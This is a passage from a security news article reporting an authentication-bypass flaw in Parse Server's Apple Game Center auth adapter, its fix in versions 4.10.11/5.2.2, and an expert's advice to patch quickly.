“As a result, authentication could potentially be bypassed by making a fake certificate accessible via certain Apple domains and providing the URL to that certificate in an authData object,” the advisory reads.

Attack complexity is considered low and no privileges are required.

A fix has been issued in Parse Server 4.10.11/5.2.2. A new rootCertificateUrl property has been implemented in the software’s Apple Game Center auth adapter, which “takes the URL to the root certificate of Apple’s Game Center authentication certificate”.

If developers have not set a value in the authentication system, the new property defaults to the URL of the root certificate in use by Apple.

There is no workaround available. Furthermore, the advisory notes that it is also an Apple ecosystem developer’s responsibility to keep the root certificate up to date while using the Parse Server Apple Game Center auth adapter.

Game Center will receive a revised dashboard look complete with friends’ activities in iOS 16, set for release later this year.

“Improper validation could allow attackers to bypass authentication, making the server vulnerable to simple remote attacks,” Jake Moore, global cybersecurity advisor at ESET, told The Daily Swig.

“It’s not often that Apple misses the mark on a security feature but without the requirement of authentication, this is a potentially dangerous and even an easy attack. The best way to avoid this threat would be to quickly patch devices with the latest update.”

The Daily Swig has reached out to Apple and we will update if we hear back.

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